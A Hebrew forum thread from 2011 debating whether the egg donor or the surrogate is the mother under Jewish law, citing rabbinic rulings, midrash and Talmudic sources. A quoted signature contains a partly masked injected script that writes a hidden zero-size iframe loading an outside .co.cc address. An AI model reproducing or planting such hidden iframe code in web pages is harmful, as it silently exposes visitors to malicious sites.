| נשלח ב-11/9/2011 21:14 |
 |
| |
אם פונדקאית - הלכה ומטא הלכה
כפי ששמעתי, פסק כב' הרב הראשי הרב עמר, כי בעלת הביצית נחשבת לאמו של הולד הנולד לאם פודקאית. נ"מ לגרות, לקירבה משפחתית לאיסור נישואין וכו'.
לא מצאתי את נימוקיו, חיפשתי בשו"ת בר אילן ומצאתי שהרב וואזנר דן בנושא, אולם כל נימוקיו מדברי אגדה ואין לו בסיס הלכתי.
לדעתי הרב עמר טועה. אין ספק שהולד נחשב כבנה של הפונדקאית. אולי מישהו יודע אם, ועל סמך מה פסק כך הרב עמר.
תוקן על ידי עצכח ב- 13/09/2011 02:27:18
|
|
|
|
| נשלח ב-11/9/2011 21:32 |
|
| |
כלל לא ברור לי מה השאלה פה.
הרי ברור מאליו שהילד לא נוצר מהפונדקאית והיא רק משמשת כספקית מזון ותו לא.
|
|
|
|
| נשלח ב-11/9/2011 21:51 |
|
| |
| צענערענע כתב: |  | כלל לא ברור לי מה השאלה פה.
הרי ברור מאליו שהילד לא נוצר מהפונדקאית והיא רק משמשת כספקית מזון ותו לא. |
|
סיפוק המזון בא אחר כך, קודם התהליך של ליצר את הוולד, ובלי שאין מי שמיצרת את הוולד קודם אין וולד,
|
|
|
|
| נשלח ב-11/9/2011 21:53 |
|
| |
הרי זה בדיוק מה שכתבתי,אם לא שמת לב.
|
|
|
|
| נשלח ב-11/9/2011 21:56 |
|
| |
היום המדע יכול להחליף את האם הפודקאית -ספקית המזון כדברי צענע- במבחנה.
. האם יהיה איכפת לך לשייך את הילד למבחנה- כאם?
זה יהיה מאד יעיל לילד- הוא יכל להביא את אמא שלו לשיחה עם המחנך ולאסיפת הורים -בכיס. השאלה תהיה רק עם המבחנה יהודיה?
|
|
|
|
|
| נשלח ב-11/9/2011 21:56 |
|
| |
| צענערענע כתב: | | הרי זה בדיוק מה שכתבתי,אם לא שמת לב. |
|
אני חולק על דבריך, הפונדיקאית גם מיצרת את הוולד בחודשים הראשונים,
|
|
|
|
| נשלח ב-11/9/2011 22:04 |
|
| |
איני בעל הבית של האשכול, אולם הצבתי בתחילתו את השאלות שברצוני לדון בהם,
1. האם ומה המקור ההלכתי לפסיקת הרב עמר.
2. לדעתי הוא טועה, ומי יכול להביא מקור או סיבה הלכתית לפסוק לכאן או לכאן.
לא ביקשתי סברות כרס, ולא הסברים הגיוניים, והוכחות מדעיות, אני מדבר רק על הסבר הלכתי.
|
|
|
|
| נשלח ב-11/9/2011 22:12 |
|
| |
מה אכפת לך
השאלה מצויינת, והיא עלתה בעבר בפורום.
זו מן השאלות שאין לנו עליהן מסורת, וכל מה שאנו יכולים לעשות הוא להפעיל את המידות שהתורה ניתנה להתפרש בהן.
ואחת מהן היא הסברה. (זו שמזהה שהמוציא מחברו עליו הראיה, שאין אדם חוטא ולא לו, שהפה שאסר הוא הפה שהתיר, ועוד ועוד).
והרי לפנינו לא רק שאלה מעניינת ורלוונטית ביותר, אלא גם הזדמנות לנסות ולראות כיצד נעשה דיון הלכתי בשאלה חדשה שאין עליה מסורת.
ראשית, עלינו לברר את המציאות.
שנית, עלינו להבין כיצד דעת בני אדם מסתכלת על התופעה.
שלישית, עלינו לחפש מה דעת התורה על תופעות כאלו.
ואז נוכל להסיק מסקנות.
***
המציאות
כרגיל, היתה רק דרך אחת להוליד ילדים. והיו בה שני שותפים אנושיים, האב התורם את הזרע והאם התורמת את הביצית ומאכסנת אצלה את העובר עד הלידה. שני אלו מכוננים יחד את הולדת הולד.
המציאות החדשה: שתי הפונקציות, מקור ביצית ופונדקאות, התגלו כנפרדות. ניתן לבצע אותן אצל שתי נשים נפרדות. השאלה היא מי מהן צריכה להחשב כ"אם".
לפי מה שביררתי, כל תכונותיו הגנטיות של העובר נקבעות על ידי הזרע והביצית. הפונדק הוא רק מקום איכסון. יתכן שאפשר היה לגדל ילד גם באינקובטור מלאכותי. עד כמה שידוע לרפואה היום, לפי מה ששמעתי, הפונדקאית תורמת, כדברי צענע, רק פונדק ותו לא.
למעשה, ניתן לפרק את תהליך הפריה ורביה לעוד כמה רכיבים. גם זרע האב תלוי כמדומה לא רק בזרע אלא גם בחומרים נוספים. יתכן שניתן להצביע על תהליך דומה אצל האם. כמו כן, האם ייתכן להעביר פונדקאות באמצע ההריון מאם לאם? וגם אם בטכנולוגיה העומדת לרשותנו זה לא אפשרי, האם זה יכול להיות אפשרי בעתיד, ובעתיד הקרוב? לכאורה כן.
***
דעת בני אדם
ניתן לראות כי השפה שלנו, המשקפת את הנחות היסוד שלנו לגבי המציאות, אינה מתאימה לתופעה של פונדקאות. אנו מכירים רק את החילוק הדיכוטומי, אם ואב. עתה עלינו לחלק את ההורות לשלושה: אב, אם ופונדקאית.
שים לב כי חידוש הביטוי "אם פונדקאית" מעיד לכאורה כי העדפתנו האינטואיטיבית היא לראות באם המביאה את הביצית את האם הראשית ואילו הפונדקאית טפלה לה.
האם זה בגלל שאנו נותנים העדפה לבעלת הביצית או שזה מתבסס על הבנתנו ברפואה (אני מציין כי לי זה דווקא לא היה פשוט עד ששאלתי רופאים ומומחים כדי לברר את התרומה של שתי האמהות).
השפה אינה ראיה מוחלטת. השפה משתנה לפי שינויי התרבות וחידושי הטכנולוגיה. השפה יכלה לפתח במקום המונח "אם פונדקאית" ביטוי אחר ששקול ל"אם ביצית" (ביטוי שחידשתי, נראה לי, זה עתה) ואולי עדיף ממנו.
כמו כן יש להעיר שהתהליך של יצירת ביטויים נעשה היום באופן מודע ומטה את משפטנו. כמובן, יצירה זו עדיין משקפת הסתכלות אבל אולי לא הסתכלות ראשונית אינטואיטיבית אלא את הידע של המחדשים. זה תחום שצריך לבדקו כי איני יודע מה מקור הביטוי "אם פונדקאית" לראשונה, וכמדומה שהוא מגיע מעולם הרפואה. כלומר, רופאים היודעים (לפי הידע בן זמננו) את תפקיד אם הביצית ואם הפונדק בחרו להכתיר את הראשונה כ"אם" ולהשאיר את המונח המקורי על כנו, והציעו מונח חדש הקרוב ל"אם" והוא ה"אם פונדקאית".
***
המקורות
האם יש לנו מקור בתורה ובמסורת לשאלה שהתחדשה עתה?
יש לנו כמה רמזים שניתן בדוחק לנסות לדלות מהם מעין הוכחות.
יש מדרש שמספר על החלפת עוברים בין לאה לרחל. לפי המדרש, לאה היתה אמורה להיפקד ביוסף ורחל בדינה, אלא שלאה ידעה - לפי המדרש - שיהיו ליעקב רק 12 בנים, ולא רצתה לקחת מאחותה ולהשאיר אותה רק עם בן אחד, פחות מן השפחות. ולכן התפללה וה' עשה נס והחליף בין דינה ליוסף. והא קמן (=והרי לפנינו) שיוסף נקרא בן רחל ודינה בת לאה. כמדומני שראיתי או שמעתי פעם שאחד הרבנים הביא מכאן ראיה שהפונדקאית עיקר. אלא שאין מביאים ראיה מן ההגדות (כלל המופיע כבר בראשונים ואולי בתלמוד) ועוד ששערי תירוץ לא ננעלו ויכול המתרץ לטעון שאף הדי.אנ.איי של יוסף ודינה התחלף לו. וכי יד ה' תקצר.
יש לפנינו דיון ראשון מסוגו על אפשרות של הזרעה מלאכותית (שאמנם אינה הנושא שלנו) וממנו ניתן להסיק כי כל שאין הולד נוצר על ידי ביאה וגמר ביאה אין שם שם ערוה. וזאת מן המעשה הנורא (והשקרי) המיוחס לירמיהו, כביכול פרש ממנו זרע באמבטיה והתעברה ממנו בתו ובנו ונכדו היה הסופר שלו, בן סירא. יש היסטוריה לחילופי הגרסאות האלו והדיון בהן ופעם היה על זה אשכול. אני מציין זאת רק כדי להראות שמסיפורים כאלו נוהגים פוסקים בני זמננו לדלות הכרעות הלכתיות, כגון שאם אין ביאה, אין שם פסול (ונפקא מינה למשל להזרעה מזרע של אחר).
יש דיונים בגמרא על שפחה או נכרית שנתגיירה בעודה מעוברת, ויש דיונים בראשונים כמדומה באיזה שלב של ההריון זה היה (שהרי יש לחלק בין לפני 40 שלפי הגמרא אין שם צורת ולד לאחר מכן). והשאלה היא אם הבן שיוולד חייב בגיור או שהוא כבר יהודי. ומדוגמאות כאלו ניתן ללמוד על מעמדו של העובר ומיחס ההלכה לשאלות כאלו.
בדף היומי לאחרונה כמדומה שהיה דיון שמשמעו שולד עובר מבהמה לבהמה. וזה כמדומה אפשרי יותר מבחינה טכנולוגית. (ודאי שאפשר להזריע ביצית של נקבה בעלת חיים ולהעביר את העובר לפונדקאית וכמדומה שכך נוהגים מזה שנים לפי הצורך). ואיני יודע מה שימושי הלשון אצל הוטרינרים והעוסקים בתחום מי תחשב לאם. ונפקא מינה מן הסתם למיקח וממכר בכלבים גזעיים למשל, או בפרות משובחות שערכן רב. (והרי אם הביצית היא הקובעת ולא הפונדקאית, אלא רק שצריך שהעובר יתפתח יפה).
***
סברות
המקורות לא אמרו לנו דבר החלטי ואנו יכולים לפרש אותם ולהסתדר איתם. מעתה עולה השאלה מה ראוי להיות הפסק. וזו הזדמנות לנסות את כוחנו בסברה ואף להבחין בין הסברות העיקריות לבין המטא סברות.
סברות עיקריות: מי תורמת לעובר יותר ועד כמה.
מטא סברות: מה הן ההשלכות של הכרעה זו או אחרת.
לדוגמא, מעט רחוקה: אסור למגרש אשתו ונישאה לאחר לשוב ולקחתה. הרמב"ם מפרש טעם מעניין מדעת עצמו (עד כמה שידוע לי): כדי שלא יהיה גברים מחליפים נשותיהם (כלומר יגרש ראובן אשתו וישא שמעון, ואף הוא יגרש את אשתו שלו ויישאנה ראובן, ואז יגרשו נשותיהם ויקחו אותן בשנית. והרי זה מעיקר הדין שאשה מתגרשת שלא לרצונה ואם אשה אמנם מתקדשת לרצונה, במצב הכלכלי של ימי מתן תורה לא היתה לה אפשרות אלא לחפש נישואין וגבר כלשהו טוב לה).
לפי זה, מה יכולה להיות ההשלכה של הטכנולוגיה החדשה? צאו וראו כי אין ממהרים לאשר גם לפי החוק המודרני הפריה מלאכותית וגידול עובר אצל פונדקאית וצריך אישורים מיוחדים. ולא כל אחד מקבל אישור כזה.
למשל, פגיעה ביוחסין, שהרי אין אדם יודע בבירור את הייחוס שלו. ויש גם לחשוש שקשה יהיה לאשה אם הביצית לקבל את הפונדקאית או את הולד. וכן יש לחשוש שעד שהדבר יהפוך לשגרתי, גם הסביבה תראה את הולד כפגום.
אלו הן מטא סברות שאומרות שראוי למנוע מן החדש.
אולם הן אינן קובעות לענין ההלכה עצמה. כי כמדומה, לפחות לפי הניתוח הקצר מדי כאן, שאין משקלן מספיק להטות את הכף לטובת העדפת אם זו או זו.
***
האם אפשר להכריע?
אם הנתונים הרפואיים עיקר, אין לנו אלא דברי צענע.
לחילופין אפשר לטעון כפי שטענתי ששתיהן אמהות (לפי שימוש הלשון, החוק הראוי והתרבות) ושתיהן אמהות לפי ההלכה.
נפקא מינה שהילד לעתיד לבוא יהיה חייב להתאבל על שתיהן, יהיה אסור בקרובותיהן, ישב שבעה על שתיהן. והרי זה כמי שיש לו שתי אמהות מכל וכל גם אם בעינינו זה זר. זו פשוט תופעה חדשה ונתרגל אליה.
יתכן גם שאין לנו לנסות למהר לקבוע הכרעות הלכתיות לפני שהאינטואיציות שלנו יתפתחו וזה יכול לקרות רק לאחר שהתופעה נהיית שכיחה יותר. ואפשר שכבר הגענו למצב כזה.
***
סיכום
מכל האמור נמצאנו למדים כך:
1. כאשר ולד נולד משיתוף של אם ביצית, אב זרע ואם פונדקאית, יש עדיפות מצד התרומה הגנטית לאם הביצית על פני האדם הפונדקאית (לפי הידוע היום ברפואה).
2. אין לנו מקור הלכתי ברור או בכלל לגבי הכרעה בשאלות כאלו.
3. יש שתי הכרעות אפשריות: האם האמיתית היא אם הביצית והשניה לאו כלום היא (כלומר אין היא אמא אבל לא שהיא בטלה חלילה). ואפשר ששתיהן אמהות כפי שתארתי לעיל את הנפקא מינות.
והכל מסברה בלבד.
***
נספח
האמנם אין תרומה לפונדקאית? הרי ידוע שהולד הולך ומתעצב גם אצל האם הפונדקאית. ולמשל היא משפיעה עליו, לרעה אם לא לטובה, אם היא למשל מעשנת. ומנגד, כמדומה שיש מחקרים על השפעת שמיעת מוזיקה בזמן ההריון ועל הכרת הולד את קול האם מזמן ההריון. לפיכך לא יהיה זה מפתיע לגמרי אם יתברר שאף הפונדקאית תורמת את חלקה מעבר ל"אירוח" גרידא (אך גם אירוח רגיל תורם לאדם בוגר).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-11/9/2011 22:13 |
|
| |
רציתי פעם לפתוח אשכול בעניין דומה עם אותו שאלה,
המדענים טוענים שהם יכולים (עם קצת כסף) להחליף די אן איי של הפריה חוץ- גופנית, ל די אן איי של האדם הקדמון (= האדם הניאנדרטלי) ואז יהיה להם נולד עם תכונות של האדם הקדמון (= הניאנדרטל) ונוכל לחקור את ההתפתחות האובולציוני של האדם של היום,
עכשיו מה אתם אומרים הוולד הזה קם לתחית המתים ? או נולד חדש ואבא שלו זה האדם הקדמון ? או הוא פשוט ילד של ההורים שתרמו את הזרע והבצית רק עם די אן איי אחר ???
|
|
|
|
| נשלח ב-11/9/2011 22:30 |
|
| |
| מהאכפתלך כתב: | | איני בעל הבית של האשכול, אולם הצבתי בתחילתו את השאלות שברצוני לדון בהם,
1. האם ומה המקור ההלכתי לפסיקת הרב עמר.
2. לדעתי הוא טועה, ומי יכול להביא מקור או סיבה הלכתית לפסוק לכאן או לכאן.
לא ביקשתי סברות כרס, ולא הסברים הגיוניים, והוכחות מדעיות, אני מדבר רק על הסבר הלכתי. |
|
צדיק אתה צודק צריך באמת לפתוח אשכול אחר או שיש כבר אשכולות בעניין כפי טענת הרב מיימוני,
בכל אופן צריך להתמקד בשאלתך ולא לגלוש לכלל הנושא,
|
|
|
|
| נשלח ב-11/9/2011 22:52 |
|
| |
מימוני.
אכן גם הרב וואזנר מביא ראיות מדברי אגדה, שברור שלא נועדו לתת מענה לשאלת האמהות.
דבריך על סיפור בן סירא אם שיקרי או לא, עדיין לא מנוע מאפשרות תיאורטית. אולם תמהני עליך שאתה מתיחס לגמ' המספרת על
העברת עובר מבהמה לבהמה, כאפשרות תיאורטית. זו ודאי לא אפשרות תיאורטית, שהרי העובר במעי אמו ניזון מאימו, מחזור הדם
שלהם משותף, ואילו ניתוקו מטבורה של אימו, ללא אפשרות חליפית, דינו למיתה.
עכ"פ נראה לי כי אינך בכוון הנכון.
|
|
|
|
| נשלח ב-11/9/2011 23:03 |
|
| |
| מיימוני כתב: | |
המציאות
כרגיל, היתה רק דרך אחת להוליד ילדים. והיו בה שני שותפים אנושיים, האב התורם את הזרע והאם התורמת את הביצית ומאכסנת אצלה את העובר עד הלידה. שני אלו מכוננים יחד את הולדת הולד.
המציאות החדשה: שתי הפונקציות, מקור ביצית ופונדקאות, התגלו כנפרדות. ניתן לבצע אותן אצל שתי נשים נפרדות. השאלה היא מי מהן צריכה להחשב כ"אם".
לפי מה שביררתי, כל תכונותיו הגנטיות של העובר נקבעות על ידי הזרע והביצית. הפונדק הוא רק מקום איכסון. יתכן שאפשר היה לגדל ילד גם באינקובטור מלאכותי. עד כמה שידוע לרפואה היום, לפי מה ששמעתי, הפונדקאית תורמת, כדברי צענע, רק פונדק ותו לא.
אין אפשרות כזו בימינו
***
***
המקורות
האם יש לנו מקור בתורה ובמסורת לשאלה שהתחדשה עתה?
יש לנו כמה רמזים שניתן בדוחק לנסות לדלות מהם מעין הוכחות.
יש מדרש שמספר על החלפת עוברים בין לאה לרחל. לפי המדרש, לאה היתה אמורה להיפקד ביוסף ורחל בדינה, אלא שלאה ידעה - לפי המדרש - שיהיו ליעקב רק 12 בנים, ולא רצתה לקחת מאחותה ולהשאיר אותה רק עם בן אחד, פחות מן השפחות. ולכן התפללה וה' עשה נס והחליף בין דינה ליוסף. והא קמן (=והרי לפנינו) שיוסף נקרא בן רחל ודינה בת לאה. כמדומני שראיתי או שמעתי פעם שאחד הרבנים הביא מכאן ראיה שהפונדקאית עיקר. אלא שאין מביאים ראיה מן ההגדות (כלל המופיע כבר בראשונים ואולי בתלמוד) ועוד ששערי תירוץ לא ננעלו ויכול המתרץ לטעון שאף הדי.אנ.איי של יוסף ודינה התחלף לו. וכי יד ה' תקצר.
הראיה היא לא מקבלת ההגדה כאמת מחייבת הלכתית, אלא מכך שאם היא היתה מתקיימת האם הינה היולדת
יש לפנינו דיון ראשון מסוגו על אפשרות של הזרעה מלאכותית (שאמנם אינה הנושא שלנו) וממנו ניתן להסיק כי כל שאין הולד נוצר על ידי ביאה וגמר ביאה אין שם שם ערוה. וזאת מן המעשה הנורא (והשקרי) על מה ולמה החלטת שהוא שקרי? המיוחס לירמיהו, כביכול פרש ממנו זרע באמבטיה והתעברה ממנו בתו ובנו ונכדו היה הסופר שלו, בן סירא. יש היסטוריה לחילופי הגרסאות האלו והדיון בהן ופעם היה על זה אשכול. אני מציין זאת רק כדי להראות שמסיפורים כאלו נוהגים פוסקים בני זמננו לדלות הכרעות הלכתיות, כגון שאם אין ביאה, אין שם פסול (ונפקא מינה למשל להזרעה מזרע של אחר).
שוב כנ"ל הראיה איננה מקבלת ההגדה כאמת מחייבת הלכתית, אלא מכך שאם היא היתה מתקיימת האם הינה היולדת
יש דיונים בגמרא על שפחה או נכרית שנתגיירה בעודה מעוברת, ויש דיונים בראשונים כמדומה באיזה שלב של ההריון זה היה (שהרי יש לחלק בין לפני 40 שלפי הגמרא אין שם צורת ולד לאחר מכן). והשאלה היא אם הבן שיוולד חייב בגיור או שהוא כבר יהודי. ומדוגמאות כאלו ניתן ללמוד על מעמדו של העובר ומיחס ההלכה לשאלות כאלו.
יש לחלק והרבה אם נקבל כי האם הינה רק בעלת הביצית עדיין לפחות כאשר העובר עדיין אצל האם הוא נחשב ירך אימו
בדף היומי לאחרונה כמדומה שהיה דיון שמשמעו שולד עובר מבהמה לבהמה. וזה כמדומה אפשרי יותר מבחינה טכנולוגית. (ודאי שאפשר להזריע ביצית של נקבה בעלת חיים ולהעביר את העובר לפונדקאית וכמדומה שכך נוהגים מזה שנים לפי הצורך). ואיני יודע מה שימושי הלשון אצל הוטרינרים והעוסקים בתחום מי תחשב לאם. ונפקא מינה מן הסתם למיקח וממכר בכלבים גזעיים למשל, או בפרות משובחות שערכן רב. (והרי אם הביצית היא הקובעת ולא הפונדקאית, אלא רק שצריך שהעובר יתפתח יפה).
גם אם נאמר שהאם לעניין יחס הינה היולדת ולא בעלת הביצית אין לכך קשר לגבי מקח וממכר שתלוי בדעת בני אדם לגבי האיכות הגנטית של כלב גזעי
***
סברות
המקורות לא אמרו לנו דבר החלטי ואנו יכולים לפרש אותם ולהסתדר איתם. מעתה עולה השאלה מה ראוי להיות הפסק. וזו הזדמנות לנסות את כוחנו בסברה ואף להבחין בין הסברות העיקריות לבין המטא סברות.
סברות עיקריות: מי תורמת לעובר יותר ועד כמה.
הסברא העיקרית לכך שהיולדת תיחשב כאם ולא תורמת הביצית איננה תלויה בגודל התרומה אלא הינה כי הביצית לא נחשב כדבר בפני עצמו והרי הוא כתרומת איבר ליולדת
מטא סברות: מה הן ההשלכות של הכרעה זו או אחרת.
לדוגמא, מעט רחוקה: אסור למגרש אשתו ונישאה לאחר לשוב ולקחתה. הרמב"ם (ככל הזכור לי המקור לסברא זו הינה ברמב"ן על התורה לא הרמב"ם וגם הוא אינו מסביר זאת ממש כטעם המצווה אלא מבאר בכך את המשך הפסוק ולא תחטיא את הארץ שבכך שיותר החזרת גרושתו לאחר שנישאת יבאו להחלפת זוגות בדרך זו) מפרש טעם מעניין מדעת עצמו (עד כמה שידוע לי): כדי שלא יהיה גברים מחליפים נשותיהם (כלומר יגרש ראובן אשתו וישא שמעון, ואף הוא יגרש את אשתו שלו ויישאנה ראובן, ואז יגרשו נשותיהם ויקחו אותן בשנית. והרי זה מעיקר הדין שאשה מתגרשת שלא לרצונה ואם אשה אמנם מתקדשת לרצונה, במצב הכלכלי של ימי מתן תורה לא היתה לה אפשרות אלא לחפש נישואין וגבר כלשהו טוב לה).
הבעיה היא גם כששני בני הזוג מעונינים בהחלפת זוגות וכן אין לזה קשר כלשהו למצב כלכלי.
לפי זה, מה יכולה להיות ההשלכה של הטכנולוגיה החדשה? צאו וראו כי אין ממהרים לאשר גם לפי החוק המודרני הפריה מלאכותית וגידול עובר אצל פונדקאית וצריך אישורים מיוחדים. ולא כל אחד מקבל אישור כזה.
למשל, פגיעה ביוחסין, שהרי אין אדם יודע בבירור את הייחוס שלו. ויש גם לחשוש שקשה יהיה לאשה אם הביצית לקבל את הפונדקאית או את הולד. וכן יש לחשוש שעד שהדבר יהפוך לשגרתי, גם הסביבה תראה את הולד כפגום.
דבריך צריכים הבהרה כוונתך על בעיית ייחוס כי לא ידעו מי היא האם, או שהסביבה תיראה את עצם העובדה שנולד מפונדקאית כפגם? מלבד זאת האם זה טעם מספיק בעיניך איך ההלכה?
אלו הן מטא סברות שאומרות שראוי למנוע מן החדש.
אולם הן אינן קובעות לענין ההלכה עצמה. כי כמדומה, לפחות לפי הניתוח הקצר מדי כאן, שאין משקלן מספיק להטות את הכף לטובת העדפת אם זו או זו.
***
האם אפשר להכריע?
אם הנתונים הרפואיים עיקר, אין לנו אלא דברי צענע.
כתבתי בתחילת דבריי שהסיבה לצדד שהאם הינה היולדת הינה כי מתייחסים לתורמת הביצית כתורמת איבר ולכן אין לכך קשר
לחילופין אפשר לטעון כפי שטענתי ששתיהן אמהות (לפי שימוש הלשון, החוק הראוי והתרבות) ושתיהן אמהות לפי ההלכה.
אפשרות הגיונית ומענינת, במיוחד אילו יהיה שייך אי פעם ליצור ביצית מ-2 ביציות.
נפקא מינה שהילד לעתיד לבוא יהיה חייב להתאבל על שתיהן, יהיה אסור בקרובותיהן, ישב שבעה על שתיהן. והרי זה כמי שיש לו שתי אמהות מכל וכל גם אם בעינינו זה זר. זו פשוט תופעה חדשה ונתרגל אליה.
יתכן גם שאין לנו לנסות למהר לקבוע הכרעות הלכתיות לפני שהאינטואיציות שלנו יתפתחו וזה יכול לקרות רק לאחר שהתופעה נהיית שכיחה יותר. ואפשר שכבר הגענו למצב כזה.
***
סיכום
מכל האמור נמצאנו למדים כך:
1. כאשר ולד נולד משיתוף של אם ביצית, אב זרע ואם פונדקאית, יש עדיפות מצד התרומה הגנטית לאם הביצית על פני האדם הפונדקאית (לפי הידוע היום ברפואה).
2. אין לנו מקור הלכתי ברור או בכלל לגבי הכרעה בשאלות כאלו.
3. יש שתי הכרעות אפשריות: האם האמיתית היא אם הביצית והשניה לאו כלום היא (כלומר אין היא אמא אבל לא שהיא בטלה חלילה). ואפשר ששתיהן אמהות כפי שתארתי לעיל את הנפקא מינות.
והכל מסברה בלבד.
***
נספח
האמנם אין תרומה לפונדקאית? הרי ידוע שהולד הולך ומתעצב גם אצל האם הפונדקאית. ולמשל היא משפיעה עליו, לרעה אם לא לטובה, אם היא למשל מעשנת. ומנגד, כמדומה שיש מחקרים על השפעת שמיעת מוזיקה בזמן ההריון ועל הכרת הולד את קול האם מזמן ההריון. לפיכך לא יהיה זה מפתיע לגמרי אם יתברר שאף הפונדקאית תורמת את חלקה מעבר ל"אירוח" גרידא (אך גם אירוח רגיל תורם לאדם בוגר).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
לגופם של דברים שמועה שמעתי בשמו של מרן הגרי"ש אלישיב שלעניין הלכה האם הינה תורמת הביצית בלבד
ולפי אותו מקור הרבנות הראשית סברה שהאם הינה היולדת בלבד,
(ואגב לפי קביעת בית המשפח הישראלי האם הינה היולדת בלבד (דהיינו האם הפונדקאית), ותורמת הביצית כשמקבלת את הילד נחשבת כמאמצת וצריכה את הסכמת היולדת האם הפונדקאית)
|
|
|
|
|
| נשלח ב-12/9/2011 00:54 |
|
| |
אכן,כך כרגע פוסקים,שהולד הולך אחר האמא שהולידה ,כי יצא מרחמה המכונה בגמרא א ם [רחם =אם]
וכנראה שאינו רק כינוי אלא המהות.
|
|
|
|
| נשלח ב-12/9/2011 04:01 |
|
| |
מיימוני
האמנם אין לנו כאן אלא סברא בלבד? איני מכיר את המקורות, ונכון שאין ראיה טובה והחלטית ממקור ברור. אבל אני מתכוון לשאול האמנם נסמוך להכריע בדברים חמורים כאלו על סמך הכרעות של סברא בלבד? לכאורה בכדי שפסק יהיה אמיתי צריך למצוא איזה דרך לבסס אותו במקור הלכתי. האם אתה מכיר מקרים אחרים שבהם מכריעים בשאלות חדשות בלי שום מקור רציני.
כוונתי לטעון שאם אין מקור ברור עלינו לייצר כזה מקור אם ע"י דרשנות אם ע"י העמקה בסברות הקיימות בסוגיות כבר. וכל עוד שאין מקור משכנע כנראה נישאר ללא הכרעה הלכתית.
המעיין בספרות השו"ת הגדולים ימצא שמוצאים דרכים להכניס כל מיני שאלות חדשות בסוגיות הקיימות. ולא נראה לי ששאלות של זמננו שונות כ"כ. אלא שהיום לא מקובל לפסוק בדרך בה נהגו בשו"ת הידועים של גדולי האחרונים.
|
|
|
|
| נשלח ב-12/9/2011 10:17 |
|
| |
התורה אומרת -ואשה כי תזריע וילדה- האם הפונקאית הזריע?
למרות הכבוד שצריכים לתת לגדולים. בענין כזה - יש לתת את זכות ההכרעה למדע- הגניקולוגם ידעו יותר טוב את ההלכה בנושא הזה. מאשר הרב אליישיב והרב ווזנאר, שכבודם במקומם מונח.
|
|
|
|
|
